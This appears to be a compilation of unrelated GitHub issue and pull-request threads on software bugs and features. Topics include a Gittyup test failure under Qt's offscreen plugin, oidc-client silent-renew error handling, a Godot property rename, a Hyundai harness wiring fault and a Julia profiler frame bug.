26/26 Test #26: commitEditor .....................   Passed    0.09 sec

96% tests passed, 1 tests failed out of 26

Label Time Summary:
NO_WIN32_OFFSCREEN    =   4.83 sec*proc (4 tests)

Total Test time (real) =  29.84 sec

The following tests FAILED:
         17 - TreeView (Failed)
Errors while running CTest
FAILED: test/CMakeFiles/check /home/vista/dev/gittyup/src/build/test/CMakeFiles/check
cd /home/vista/dev/gittyup/src/build/test && /usr/bin/ctest --force-new-ctest-process --output-on-failure --timeout 300
ninja: build stopped: subcommand failed.
==> ERROR: A failure occurred in check().
    Aborting..

full build log here

Something doesn't look right to me. First you have a typo in the title, this is evidently about Arch Linux not ARC linux (which is something different).
Second, the title says "current git version" but the log file you posted is from building the AUR recipe for the stable 1.3.0 release.
Third, I just built both the gittyup stable package and gittyup-git in clean chroots and both built successfully. The latter one has some issues with it's pkgver() function and ends up mislabeling the version when it is done, but it does build.
Since clean CHROOT builds with just the speced dependencies works properly the issue with checks is probably a conflict with something extra or some unsupported version of something on your host system.
I highly recommend you switch to building AUR packages in chroots. There is tooling available to automate the process so it is very easy. You'll run into lots of AUR builds that are invalid because they are missing dependencies, but you'll also get much more reliable builds from ones that are correct because the build is isolated to the correct environment and when they do work you'll have a higher confidence that they will work as expected, that the built packages can be installed on other systems, etc.

Thank you. I understand, I will try with clean chroot. But just to let you know I have many other AUR packages that I regularly update without any error.

Looking more closely at your logs, you are using paru's build cache, and the cache is dirty: it has artifacts from previous versions and test runs. The test is failing because it is finding remnants of output from previous releases. If you clear the paru build cache location I bet you can build outside of a chroot as well.
This is arguably a bug in this projects test suite as it should do it's own cleanup in the tests directory and not be reliant on a clean starting position for test runs, but it is also very hard to cope with artifacts from previous releases. No project should be expected to do that, a clean build tree is expected for building tagged versions.
Suggestions about building using chroots still apply. Paru even has an option to do this automatically.

I have totally removed ~/.cache/paru and rebuilded but got the same error

I use manjaro, with yay. I deleted ~/.cache/yay/gittyup, tried again and got the exact same build problem.
Error in test 17

Then we're back to this: something on your systems that is not a dependency is confusing the test suite. First it would be interesting no know if the build works if you --skip-checks when building. Beyond that somebody has to start guessing: most likely something this project has vendored (there are lots of libs vendored here) is being used by the build but not the test suite and an equivalent system version is being used in tests. That's educated speculation knowing that it builds and passes tests in a chroot with only the specified dependencies.

I'm in the same boat as zimudec, but was able to install it with
yay -S --mflags "--nocheck" gittyup

Then we're back to this: something on your systems that is not a dependency is confusing the test suite. First it would be interesting no know if the build works if you --skip-checks when building. Beyond that somebody has to start guessing: most likely something this project has vendored (there are lots of libs vendored here) is being used by the build but not the test suite and an equivalent system version is being used in tests. That's educated speculation knowing that it builds and passes tests in a chroot with only the specified dependencies.

I think indeed the vendoring is part of the problem here, but maybe not all of it. I'm seemingly facing the same problem on Fedora 38, and worse problems with Fedora 40. They both also have tests sporadically failing. Both utilise OpenSSL 3, which results in a linker warning since it's a dependency in Qt and I guess it sees there are clashing symbols. To fix that, Gittyup needs to be compiled and linked towards the system version of OpenSSL, not even a vendored copy of it (assuming current instructions are follows). Just out of curiosity, I tried updating the OpenSSL submodule to version 3, and compile that, but that actually breaks tooling such as cmake when run in the build folder. It's probably down to different compile or link settings, but still, a clear demonstration that it's probably easier to just rely on the system provided copy than to run down the pathway of managing it yourself.
That said, there must be more to this. Compiling against the system libraries for the ones I do have installed, still doesn't get rid of the problems. Now I've cleaned both the clone and the build directory quite a few times across two machines, and unless the test data leaks outside the build structure, there's no getting rid of the problems on an unmodified master branch. If I switch to the Qt6 branch, this particular issue disappears on Fedora 38 and all tests pass most of the time. On Fedora 40 I'm still left with sporadic failure of test 18 and always failure of test 23. I tried to see if the Qt6 branch has something that sticks out that could explain it, but aside from Qt6 itself, I don't spot anything. I'm of course not particularly familiar with the code, so that doesn't prove much.

After quite some head scratching, I think this particular issue might be tied to some Qt fun. If I run QT_QPA_PLATFORM="offscreen" ./test/TreeView I get errors similar to the log presented earlier here. If I however run ./test/TreeView (which will render Gittyup to screen), all is fine. I think the most likely suspect here is that there are behavioural changes in the offscreen plugin between Qt 5.15.2 which the build server here seems to use, and 5.15.12 and 5.15.13 which as used for Fedora 38 and 40 respectively. The log from @ftaiolivista seems to be 5.15.9
I would agree that this also could be a timing issue, but injecting 2 second delay right before the failing line doesn't help things. So unless something is pulled away too quickly, it seems less likely.
@alerque I guess the chroot setup you ran was based on Qt 5.15.2, or was it some other version?

It looks like the package I have around was built with Qt-5.15.9 with some Arch patches. You can always tell from an Arch package by extracting the .BUILDINFO file from the package and looking at the list of things that were installed on the builder. I think I re-tried the build a few times above when people commented and there was probably a newer Qt at those times, but I don't have the final packages or build log handy to check. The current version of Qt in Arch is 5.15.13 plus some Arch patches. If one were to re-run a chroot build now that's what it would try to build against. I don't have time to retest a build myself at the moment but all you need is devtools and pkgctl build --repo extra from the AUR package repo.

Thanks! I finally got around to spinning up an Arch VM, and it of course has GCC14 now, so I had to run https://github.com/Murmele/Gittyup/pull/759
This is pretty interesting, because I can both reliably reproduce this and not depending on what's installed. A chroot build seems to always succeed, although I must say that test 1 and 2 seem to be quite disk I/O performance sensitive. I had to move the VM from a spin disk to an SSD to get the tests to reliably pass.
Anyway, what I notice is that the binaries in the chroot are unable to run with xcb as the Qt platform plugin, and by default run with the offscreen plugin. That's not surprising since it's a limited environment, lacking any GUI display capabilities. However, the moment I remove any display capabilities from the non-chroot environment, the test passes there as well. Install for example plasma-desktop, and the same binaries fail. No rebooting nor rebuild needed. This all happens in over SSH while the VM itself is booted into multi-user text/console mode.
So with that, I'm pretty interested to hear if anyone is even able to get these tests to pass in a GUI enabled Linux environment without actually rendering the GUI (aka. run with the xcb platform plugin instead of offscreen).


fix: incorrent-entity-in-treebuildingnavigationroute

1. Why is this change necessary?
In class Shopware\Core\Content\Category\SalesChannel\TreeBuildingNavigationRoute the _entity parameter in the Route attribute points to a wrong entity.
2. What does this change do, exactly?
Correct the _entity parameter to the correct entity name.
3. Describe each step to reproduce the issue or behaviour.
The API deliver the wrong entity
4. Please link to the relevant issues (if any).
5. Checklist

[X] I have rebased my changes to remove merge conflicts
[ ] I have written tests and verified that they fail without my change
[X] I have created a changelog file with all necessary information about my changes
[ ] I have written or adjusted the documentation according to my changes
[ ] This change has comments for package types, values, functions, and non-obvious lines of code
[X] I have read the contribution requirements and fulfil them.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Game Balancing

Lycaon shouldn't be able to outrun Zeus
Would be too easy for him
We propose a mechanic where Zeu's speed is increased if Lycaon is too far
The increase of speed stops once Zeus is back to a reasonable range.
It shouldn't be the case that Zeus is always the same distance from Lycaon.

This has been done via the enforceZeusRange() of GameManager.cs.
New parameters public include max distance before enforcement and catch up speed.

This has been done via the enforceZeusRange() of GameManager.cs.
New parameters public include max distance before enforcement and catch up speed.
Parameters must undergo user testing tuning.


try

@VincentRPS LLVM installation seems to work? (the workflows still failed because the code is invalid) If this seems right, run git pull + git pull origin llvlena and close this PR


Using Joken.Plug with Phoenix causes a compile-time error

Just tried to upgrade from plug_jwt / joken 0.15.0 to joken 0.16.0 using the upgrade guides here, and now I can't get my Phoenix apps to compile.
The error returned is:
== Compilation error on file web/router.ex ==
** (ArgumentError) cannot escape #Function<0.82266480/2 in Joken.Plug.init/1>. The supported values are: lists, tuples, maps, atoms, numbers, bitstrings, pids and remote functions in the format &Mod.fun/arity
    (elixir) src/elixir_quote.erl:302: :elixir_quote.bad_escape/1
    (elixir) src/elixir_quote.erl:246: :elixir_quote.do_quote/3
    (elixir) src/elixir_quote.erl:141: :elixir_quote.escape/2
    (elixir) lib/macro.ex:307: Macro.escape/2
    (plug) lib/plug/builder.ex:240: Plug.Builder.quote_plug_call/3
    (plug) lib/plug/builder.ex:215: Plug.Builder.quote_plug/4
    (elixir) lib/enum.ex:1261: Enum."-reduce/3-lists^foldl/2-0-"/3
    (plug) lib/plug/builder.ex:186: Plug.Builder.compile/3
    web/router.ex:12: (module)
    (stdlib) erl_eval.erl:669: :erl_eval.do_apply/6
    (elixir) lib/kernel/parallel_compiler.ex:97: anonymous fn/4 in Kernel.ParallelCompiler.spawn_compilers/8

Unsure if this is a compatibility problem with Joken/Phoenix, or if I've just missed something obvious!
I've managed to replicate the issue in a vanilla Phoenix app running Elixir 1.0.5 and 1.1.1

Thanks for the project with the issue replicated. I was able to track it down and fix it. I'll update the version in hex shortly and let you know.

@mattweldon I published the new version (0.16.1) in hex. Update the joken dependency and try again. Hopefully it will work with no further issues.

@bryanjos Worked a charm! Thanks :+1:


signinSilentCallback returns successful promise when error occured

If there is an error server-side while silently renewing the token, the silent renew callback URL contains the error in the hash parameter. Like this:
http://localhost/postrenew.html#error=login_required&state=<state>
However, when the signinSilentCallback processes this URL, it processed it as if it was a successful renewal, which means that in the following code, the success alert will be shown:
userManager.signinSilentCallback().then(function (user) {
    alert("Handle renew callback successful");
})
.catch(function (reason) {
    alert("Handle renew callback failed: " + reason);
});

In this case, I would expect the catch callback to be called, as the silent renewal was not actually successful. Is this a correct assumption? If so, it would probably also explain why the silent renewal error event doesn't fire in this case, even though the renewal wasn't successful:
userManager.events.addSilentRenewError(function (error) {
    alert('error while renewing the access token', error); // This isn't called
});

Error are supposed to always be passed via query.

Oh I was wrong... https://tools.ietf.org/html/rfc6749#section-4.2.2. Hmm, makes me wonder how oidc-client handles it.

@brockallen By the way, we use IdentityServer4 as our backend.

Yea, I think I was thinking about signout params for post logout redirect (i.e. state). Sorry for the confusion.

No problem :)

Ok, so now I understand (it usually takes me a bit because i'm a slow reader). So the problem is that the error is not raised on the callback, but in the promise for the signinSilent at the caller.

Yes, precisely. I would expect the call to signinSilentCallback() to throw, thereby allowing me to catch the exception of the returned promise or the addSilentRenewError callback (either is fine with me).

Hmm... well it doesn't now, but we might be able to somehow get them to collaborate.

So the problem is that the error is not raised on the callback, but in the promise for the signinSilent at the caller that initiates the silent signin.

It appears that I'm not the best of readers, as I may have misread your answer. Actually, I don't really know if the signinSilent call throws, as the signinSilent call is done automatically (due to automatic token renewal). The result of the signinSilent call is that the client is redirected to the postrenew callback, in which I call signinSilentCallback. This implies to me that the signinSilent call itself was successful, it's just that the server could not renew the token and thus redirects to the postrenew URL with an error in its hash/
This is what I think is happening:

The OIDC client does an automatic token renewal request.
The server tries to process the token renewal request, finds some issue with it and returns a postrenew URL containing the error in the hash fragment
The OIDC client redirects to the postrenew URL, where I call the signinSilentCallback function to process the postrenew data. It is at this point that I expect the signinSilentCallback function to notice that the URL's hash fragment contains an error, and therefore expect it to throw that error. However, the signinSilentCallback function doesn't throw even though the URL's hash fragment contains an error.

Does that explain things better? Sorry for the confusion.

If you're using the automatic silent renew, then you can handle errors in an event: https://github.com/IdentityModel/oidc-client-js/blob/dev/sample/public/user-manager-sample.js#L62

@brockallen I tried that, but the event handler doesn't get called unfortunately.

So I don't think I can get this to work without a lot of effort. Mainly because the initiating window is the only one that can determine if the silent callback is successful or not (there's more to check than just the error response param).
Now, as for the calling code, if you're not using the automatic silent renew, then you should be able to do this:
mgr.signinSilent().then(function(user){
// all good
}).catch(funcation(err){
//something bad
});

So this is what you're saying doesn't work?

I am having the same problem. Any update on that?

I know this issue has been lingering for some time, but I'm going to close as something I don't see as being easily changed. I did spend some time looking into how I might do it, but the main issue is the nature of the async postMessage to send results to the parent window, and then the necessarily async way it would have to post back success or failure. It's a lot of work I think to build that reliability. If somebody's company wants to sponsor such work, then it would be worthwhile. Thanks.


Support CloudFormation Parameters within Blueprint Variables

Initial pass at fixing: https://github.com/remind101/stacker/issues/205.
It isn't as easy to understand as I'd like when reading through the code, but that's because we have so many different references to parameters all over the place from the old parameters. When we remove those this should be much simpler to follow.
This PR introduces a new concept of Blueprint variable "types". These can be used as the type value when defining a Variable the Blueprint accepts.
Right now all of the types are instances of CFNType which will cause the variable to be submitted as a CloudFormation Parameter when launching the stack.
I was going to exclude these from get_variables but I didn't see a downside to including it. I was thinking we might even be able to do something cool like within a blueprint be able to do something like:
from stacker.blueprints.base import Blueprint
from stacker.blueprints.types import CFNString

class SampleBlueprint(object):
    VARIABLES = {
         "CFNParameter": {
             "type": CFNString,
             "description": "A variable that will be submitted as a CFN Parameter",
          },
     }

     def create_template(self):
          t = self.template
          variables = self.get_variables()
          t.add_output(Output("CFNParameter", variables["CFNParameter"]))

Where calling variables["CFNParameter"] will resolve to a troposphere Ref value automatically? The implicit dependency of doing Ref("CFNParameter") always bothered me.

I ran it through a quick test and it looks good to me. More than functional enough as is (would be kinda cool to have the automatic transform to Ref()s as you mentioned but I also could see value in the simplicity of not having that).
Thanks again!

Minor nits, but this looks awesome and is going to provide a lot of flexibility.  THanks for jumping on it so quickly.  @troyready @acmcelwee might want to take a look at this.
Also, needs docs, but I figure you were waiting to get folks to look at it before documenting.

Looks like the right direction to me

We're down to only 2 PRs, this and #185.  As soon as both are complete, I'm going to release a new stacker - I'm thinking we're getting pretty close to what I'd consider 1.0, but I'll probably go with .8 for this one, .9 for the release where we deprecate the old style Parameters entirely, and then 1.0 once that has stabilized for a bit.  Sound good?

I feel like 1.0.0 should drop parameters since it's a massively backwards incompatible change. I think a 1.0.0 of stacker and stacker_blueprints that moves parameters to variables. Then like 1.1.0 once its stable?

That seems fair, sounds good to me.


Issue on TypeVar

When trying to run the sample code I get this:
ImportError: cannot import name 'TypeVar' from 'typing_extensions' (/databricks/python/lib/python3.10/site-packages/typing_extensions.py)
I am running this in a Databricks notebook.

Hey @big-analytics , sorry that you had to face an error. Can you try this answer and let me know if it works?

That seemed to do the trick. Thanks for that. I had to restart python in Databricks.

Thanks for the quick help.


Rename motion_velocity to velocity

This is purely a name change. motion_velocity is redundant and awkward, akin to location_position instead of position.
I've seen the arguments that people have been using velocity as a user-defined variable in Godot 3.x, but I don't see how that prevents using the name now. We're already breaking all those old scripts with the rest of the new functionality. The reason that we all named it velocity in our scripts in 3.x is because that's what the value is. We have a position property, and now we have a velocity property.
We're going to be looking at this a lot in the next n years, so let's fix it now. I could also live with motion or linear_velocity (to be consistent with the rigid body property), if necessary.

I agree with this change, motion_velocity feels needlessly verbose. It only makes sense to clarify what velocity we are talking about if there is more then one such as linear_velocity and angular_velocity on a RigidDynamicBody3D, but for many other objects it is expected that if an object has a velocity, we know that it is the objects speed of motion we are talking about.

We had discussed this a while ago in the developer chat, KissAndCode wanted to open a proposal about it. The name had been made heavier due to comments, but even If I'm fine with both, I prefer a lighter syntax too.
Two remarks:

you need to fix the CI error (you just need the move the documentation block for velocity)
you need to apply the same changes to the mono templates: https://github.com/godotengine/godot/blob/master/modules/mono/editor_templates/CharacterBody2D/basic_movement.cs

This is quite romantic, but I believe @cbscribe leads the project called KidsCanCode 🙃

@cbscribe ohhh sorry for twisting your pseudonym/project 😆 , my brain played a trick on me, quite romantic indeed !

you need to fix the CI error (you just need the move the documentation block for velocity)
you need to apply the same changes to the mono templates: https://github.com/godotengine/godot/blob/master/modules/mono/editor_templates/CharacterBody2D/basic_movement.cs

Ah, I'm always forgetting about C#! Will do.

Please squash the commits too.

Please squash the commits too.
Done, just wanted to make sure I hadn't missed anything else.

Thanks!


Name search field bug after 10chr

If I search for name "abhidharma" in works, I get a list of 8 results. If I want to restrict this list to the works starting with "abhidharmak" and run a search with "abhidharmak", I get 0 result.
Same thing when creating relation, as soon as I add the "k", it does not find anything.
https://tibschol.acdh-ch-dev.oeaw.ac.at/apis/apis_ontology.work/?columns=id&columns=name&name=abhidharma&original_language=&start_date_written=&sde_dge_ref=&isExtant=unknown&comments=&external_links=&search=&related_entity=&related_property=&changed_since=&submit=Submit

Now that I have added some more works, the search "abhidharmak" brings 2 results (https://tibschol.acdh-ch-dev.oeaw.ac.at/apis/apis_ontology.work/?columns=id&columns=name&name=abhidharmak&original_language=&start_date_written=&sde_dge_ref=&isExtant=unknown&comments=&external_links=&search=&related_entity=&related_property=&changed_since=&submit=Submit)
but not the works that start with "abhidharmak"!
The search "abhidharmas" does not seem to have this problem - so this is not actually about the number of characters.


Github actions test reporting

Failed run: https://github.com/alphagov/gdx-data-share-poc/runs/11199267649


Add CI for toolbox

[x] Add a workflow to clone users and test the new release

Available here: https://github.com/tiawl/toolbox/blob/trunk/.github/workflows/ci.yml


In-App Notifications - Navigating from Notifications(Open state scenario)

Description:
When an unopened request (eg: U-00X) is moved to open state, then a notification is raised against the unopened request id with a message as "Moved to Open state" for assignees and watchers. But on clicking the "U-00X" request Id of the notification, the redirected URL will be invalid; as it is archived. Also the redirected page now looks incomplete and the save button is enabled so there is a chance of clicking on the save button accidently.
Solution as discussed:
On one of the standups @abin-aot  suggested as on clicking the request Id we could show a view of all the ministries canvassed (all opened request IDs) for that request and then a user can choose the request they want to view. This solution will need a design for the view in addition.

Thanks for flagging this @aparna-aot ! Tagging @JHarrietha-AOT as well for awareness of design request

@lmullane @m-prodan @mpilchar @arielleandrews @JHarrietha-AOT
As a suggestion, we can use this design of ministries canvassed : https://jacklyn808742.invisionapp.com/console/share/3W2O64AP5C/799026754 for this task as well. If someone could confirm this, I can take up this task today so that it is a continuation of the Notification's US.

@aparna-aot I think that makes sense, we should display the list of the other Ministries in a consistent  style. Do you anything from me today to get started?

@JHarrietha-AOT Nothing else. Just the things we have discussed over the call. Thanks!

The acceptance criteria (Scenario 1) is already in QA. And since Scenario 2 (#1346) is in progress, keeping the task status to In Progress itself.

A bug was noticed in relation to the task: For a request submitted from public which is in unopened state , from the IAO dashboard if a user clicks on the request and opens it, instead of showing Unopened state the left dropdown is empty.

@aparna-aot I haven't been able to get notifications to generate for this ticket. Is this ticket for backend only? Do we still need a design?


feat: Add new constraint operators

Adds String operators, startsWith, endsWith, contains
with support for case insentivity if desired

Adds Number operators LT, LTE, EQ, GTE, GT for comparing numbers

Adds Date operators for supporting DATE_AFTER and DATE_BEFORE

Adds Semver operators for support SEMVER_LT, SEMVER_EQ, SEMVER_GT

 Java SDK - Add support for new constraint operators

So, I downloaded the PR for client-specification and managed to run all tests specified green, once I spotted that we did indeed extend the context to include a currentDate field and the Constraint to have both values and value fields.


about SGDB4

Hello, I can't find the SGDB4 related code in the repository, can you help me point it out?

Thank you for your attention. Please refer to lines 40-48 and 355-358 in the code. https://github.com/lewandofskee/DiAD/blob/main/sgn/sgn.py

Hello, thank you for your reply, I read the relevant code and found that the features after the SFF module were directly added to the SD Denoising network, and did not go through the SGDB module.

Please refer to the code design specifications.


Add logic for cutting the path depth as provided by RucioConMon

Fixes #10657
Status
Ready
Description
In the current PR we propose the initial implementation of the logic for filtering all the paths provided by Rucio Consistency Monitor in a way that they become suitable for  set operations in order to apply the protected LFNs coming  from the WMStats interface.
Is it backward compatible (if not, which system it affects?)
YES
Related PRs
NO
External dependencies / deployment changes
NO

Before I continue, I wanted to put some statistics on how those aggregations to a higher level in the tree work:
If I run it for all sites known to Rucio (but unfortunately some are missing in Rucio Consistency Monitor - see bellow) I get a quite fast runtime to fetch all lists aggregate paths and split by category:
(WMCore.venv3) [ms-unmerged-standalone]$ time ipython init.py 2>&1 > MSUnmerged.log

real	0m54.649s
user	0m47.566s
sys	0m2.697s

With service final stats as:
Total number of processed RSEs: 83.
Total number of files to be deleted: 5180903.
Number of RSEs cleaned: 0.
Number of files deleted: 0.

As of how much we  benefit in terms of memory per object, here is some dump of the most consuming functions (and taking T1_US_FNAL as the worst case scenario site, because T2_CH_CERN is still not present):
Line #    Mem usage    Increment  Occurences   Line Contents
============================================================
   238     79.2 MiB     79.2 MiB           1       @profile
   239                                             def getUnmergedFiles(self, rse):
   ...
   258    285.4 MiB    206.3 MiB           1           allUnmerged = self.rucioConMon.getRSEUnmerged(rse['name'])
   ...
   270    139.4 MiB   -146.1 MiB           1           return rse

Line #    Mem usage    Increment  Occurences   Line Contents
============================================================
   317    139.4 MiB    139.4 MiB           1       @profile
   318                                             def purgeRseObj(self, rse, dumpRSE=False):
   ...
   329    143.5 MiB      4.1 MiB           1               self.logger.debug(msg, pformat(rse))
   330     98.1 MiB    -45.4 MiB           1           rse.clear()
   331     98.1 MiB      0.0 MiB           1           return rse

And assuming the memory re usability works for us provided by the python interpreter for for free, it looks quite promising. Even though the end memory consumption for the whole run provided by the default resource module states:
2021-07-07 11:39:44,918:DEBUG:init:resCons(): PostExec:
usertime = 4725.818949
systime = 616.364484
mem =<PHONE_NUMBER>5 mb

I would rather impute this to Python garbage collector runs rather than to a bad memory management per object as seen above. We of course may try to investigate further if there are not any left references to the RSE object after leaving the pipeline, which may prevent its sole deletion (even though an empty one) by the garbage collector, which may also explain the slow climb in memory for the whole script. In any case this is quite affordable number.
Need to say though, this is in the situation where I aggregate all the lists for deletions from file level granularity to directory level granularity and throwing the original on a very early stage. If a fallback mechanisms is to be developed for sites not supporting recursive deletions, I would suggest to query for the list of files again, only for those RSEs instead of keeping them for every site through the full lifetime of every RSE object.

As  mentioned in the previous comment here is the full list of RSEs missing from Rucio Consistency Monitor (either stats or unmerged files interface): [1]. The T3s I believe we  may ignore, but there are few essential T2s and T1s that seem to be missing. Maybe @nsmith- or @ericvaandering may know, what should be done, here. That could be a bug in my script too.
[1]
KeyError: 'T0_CH_CERN_Disk'
KeyError: 'T1_FR_CCIN2P3_Disk'
KeyError: 'T1_RU_JINR_Disk'
KeyError: 'T1_UK_RAL_Disk'
KeyError: 'T2_BE_UCL'
KeyError: 'T2_CH_CERN'
KeyError: 'T2_ES_IFCA'
KeyError: 'T2_RU_ITEP'
KeyError: 'T2_UK_London_IC'
KeyError: 'T2_US_Caltech'
KeyError: 'T3_BG_UNI_SOFIA'
KeyError: 'T3_CH_CERN_OpenData'
KeyError: 'T3_CH_PSI'
KeyError: 'T3_FR_IPNL'
KeyError: 'T3_IT_MIB'
KeyError: 'T3_IT_Trieste'
KeyError: 'T3_KR_KISTI'
KeyError: 'T3_KR_KNU'
KeyError: 'T3_KR_UOS'
KeyError: 'T3_MX_Cinvestav'
KeyError: 'T3_TW_NCU'
KeyError: 'T3_TW_NTU_HEP'
KeyError: 'T3_US_Baylor'
KeyError: 'T3_US_Brown'
KeyError: 'T3_US_CMU'
KeyError: 'T3_US_Colorado'
KeyError: 'T3_US_FNALLPC'
KeyError: 'T3_US_MIT'
KeyError: 'T3_US_NotreDame'
KeyError: 'T3_US_Princeton_ICSE'
KeyError: 'T3_US_PuertoRico'
KeyError: 'T3_US_Rice'
KeyError: 'T3_US_TAMU'
KeyError: 'T3_US_UMD'
KeyError: 'T3_US_UMiss'

All tests went ok for standalone run against both single and multiple RSEs. All Unit tests are finally stable. I am merging that PR, because I want to continue with the next issue for MSUnmerged.
@amaltaro @khurtado, please feel free to leave your comments anyway.


Check Forward Collision

When the car starts, I'm getting this error message "Check Forward Collision Avoidance Assist system." The openpilot is working fine, but seeing this error message over and over again is annoying.
Device/Version information (please complete the following information):

Device: [comma two]
Dongle ID: [6b5520e0ab1c7118]
Route: [6b5520e0ab1c7118|2020-10-23--11-28-33--0]
Timestamp: [start up of the car]
Version: [release2]
Car make/model: [Santa fe 2019]

Does the message show only once on startup and then goes away? Or is the message persistent?

Maybe this is fixed by #2490?

Yes, when I unplug the c2 the message disappears. I will try #2490 tonight

Update, #2490 did not work the error message still present.

If you disable openpilot via the settings (must be done before starting the car), does the message appear? Can you get a route with the stock system?

Yes, the message still appears, and even I unplug the c2. The message only disappears when I plug back the stock harness.
Route: 6b5520e0ab1c7118|2020-11-26--17-24-50

Can you post a clear picture of your harness with all the wires and the connectors visible? Maybe a wire is missing?

https://imgur.com/a/kvfZkds

@haddsomnus Are you located in the US? Can you please also post pictures of the vehicle harness itself?

@haddsomnus I believe I see your issue. If you compare your harness against this wiring diagram, https://github.com/commaai/neo/blob/master/car_harness/Type_II_Hyundai_Car_Harness.sch.pdf, you will see that on the tan 26 pin connector, Pins 8/10 (the blue and pink wires) are flipped. You can use a set of tweezers to lift the retention mechanism on the connector so that you can swap the wires, or reach out to<EMAIL_ADDRESS>to have a new one swapped for you.

@vanillagorillaa  Thank you, I will contact comma support immediately.


Functionality: Back Button

As a user I would like to go back to the first screen from the second when I would like to analyse another folder without closing the application.

Added functionality today


[ENH] Explore a "two workflows" style format

Explore a "two workflows" style format
try:
    import geopandas
    GEOPANDAS_EXTINCT = False
except ImportError:
    GEOPANDAS_EXTINCT = True

if not GEOPANDAS_EXTINCT:
    # do operations with geopandas/shapely
else:
    # do operations with libpysal.cg

related to #191

It has become clear that this is infeasible. Closing as per #646.


Add ngUpgradeLite Tutorial

First Step

Demonstrate how to use ngUpgradeLite to start adding Angular Material components to the app

Second Step

Complete the upgrade of the app to Angular and Angular Material

I've created an AngularJS Material ngUpgradeLite StackBlitz example as a starting point.


WIP: ticket 1159: proof-of-concept

To make the discussion in #1159 more concrete, here is a proof-of-concept / strawman branch which I believe represents the discussion up until now.
Note: might not even be valid syntax ;) at this point

Not for merge! (I thought github had a way to indicate this, but I don't see it...)

Okay, there's a working example now (run e.g. the "echo/server.py" for the server).

:re "do not merge yet": ok, got it. the "WIP" prefix: Omer uses that too .. and for me, that works. I also don't know if there is an official way / formal marker .. wondering (I don't know) how this PR got the "Status Draft" though: https://github.com/crossbario/autobahn-python/pull/1126

This is a lot closer now. I think most of the "real" things are in (and work, and there's an example). The main "missing" piece is the test/memory-only agent.

(oops, last comment pertains to the new PR, linked above)


Local testing docker links

I've added a link to Docker's installation docs, as requested in https://github.com/facebookincubator/create-react-app/pull/2408#issuecomment-311672317.

Tx

did it work?

Have not tried yet, will some time!

Let me know if you have any problems


list rename

make it compilable so you can set a different help name
add 'set-help' for abstractions
add plugin to get objects separated by categories


Bug fix npe on select http_stream directly

Proposed changes
fix npe on select http_stream directly
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


⚠ Jenkins Plugins Artifactory has degraded performance

In 5f5b06e, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1383 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 26b5a82 after 12 minutes.


Remediate all instances of gosec G304

Description
This remediates all occurrences of gosec G304: Potential file inclusion via variable.  Although some of the instances could be justified because either they did not include user input or were only for tests, I went ahead and used the fix using filepath.Clean() suggested in the securego.io documentation.
Reviewer Notes
Is it extraneous to use filepath.Clean where it's not necessary?  Or ok to just use it for consistency and it doesn't hurt?
Although Discovery subtast suggested using annotation for ones that were acceptable and remediation for others, I chose to just do remediation for all.
filepath.Clean() documentation
This touches the serve.go- any reason to test in experimental first?
Setup
pre-commit run -v --all-files golangci-lint | grep G304
There should be no occurrences found of G304.
Code Review Verification Steps

[ ] Request review from a member of a different team.
[ ] Have the Jira acceptance criteria been met for this change?

References

Jira story for this change

Warnings

:warning:
Please add the JIRA issue key to the PR title (e.g. MB-123)

  Generated by :no_entry_sign: dangerJS against 74cce4a7b48ae03680df7fd67137c511ae2cae62


[Question] Hardware configuration

What was the hardware configuration for the fine-tuning and what time did it take?

Hi @karelin,
Thank you for showing interest in ViFi-CLIP!
To fine-tune ViFi-CLIP- B/16 model on K400, we used a single DGX machine with 8 A100 GPUs and it takes roughly 1 day to train for 30 epochs with this hardware.
Please let us know incase you have any further questions.
Thank you and kind regards!


PProf.Allocs.pprof is messing up some frames.

We've had a suspicion of this for a while, but i've never managed to catch it in such a small profile as this one, where there's definitive proof! :)
Here's the original export from Profile.Allocs.fetch(), which is correct:
Profile.Allocs.fetch.zip
And here's the incorrect output from PProf:
alloc-profile.pb.gz
There are three incorrect frames, indicated by the Arrows:

You can see from printing the raw data, that these should actually be:

Green: mutts_hash
Yellow: mutts_hash(typ::Type, h::UInt64)
Blue: get!(func::RelationalAITypes.var"#107#108"{DataType}, cache::MultiThreadedCaches.MultiThreadedCache{Type, UInt64}, key::Type)

julia> Profile.Allocs.fetch().allocs[2].stacktrace
47-element Vector{Base.StackTraces.StackFrame}:
 maybe_record_alloc_to_profile at gc-alloc-profiler.h:42 [inlined]
 jl_gc_alloc_ at julia_internal.h:377 [inlined]
 ijl_box_uint64 at datatype.c:1182
 get!(func::RelationalAITypes.var"#107#108"{DataType}, cache::MultiThreadedCaches.MultiThreadedCache{Type, UInt64}, key::Type)
 _jl_invoke at gf.c:0 [inlined]
 ijl_apply_generic at gf.c:2549
 mutts_hash(typ::Type, h::UInt64) at hash.jl:9
 mutts_hash at type.jl:32 [inlined]
 mutts_hash(v::Vector{RelationalAITypes.WrappedType}, h::UInt64) at hash.jl:40
 mutts_hash(v::Vector{RelationalAITypes.WrappedType}, h::UInt64)
 _jl_invoke at gf.c:0 [inlined]
 ijl_apply_generic at gf.c:2549
 macro expansion at Allocs.jl:73 [inlined]
 top-level scope at timing.jl:262 [inlined]
 top-level scope at REPL[65]:0
[...]

I'm not sure what's gone wrong, but it's validating to know that we've finally got a reproducer!
Aha! It turns out it's because comparing StackFrames apparently skips the linfo and pointer, even though apparently also sometimes a StackFrame can be empty other than the linfo and pointer!!! 😮 Is this a bug worth reporting to julia?

Aha! It turns out it's because comparing StackFrames apparently skips the linfo and pointer, even though apparently also sometimes a StackFrame can be empty other than the linfo and pointer!!! 😮 Is this a bug worth reporting to julia?
https://github.com/JuliaLang/julia/blob/00646634c6a73998eaae3785eb78fea881c39502/base/stacktraces.jl#L80-L96
#=
If the StackFrame has function and line information, we consider two of them the same if
they share the same function/line information.
=#
function ==(a::StackFrame, b::StackFrame)
    return a.line == b.line && a.from_c == b.from_c && a.func == b.func && a.file == b.file && a.inlined == b.inlined # excluding linfo and pointer
end

function hash(frame::StackFrame, h::UInt)
    h += 0xf4fbda67fe20ce88 % UInt
    h = hash(frame.line, h)
    h = hash(frame.file, h)
    h = hash(frame.func, h)
    h = hash(frame.from_c, h)
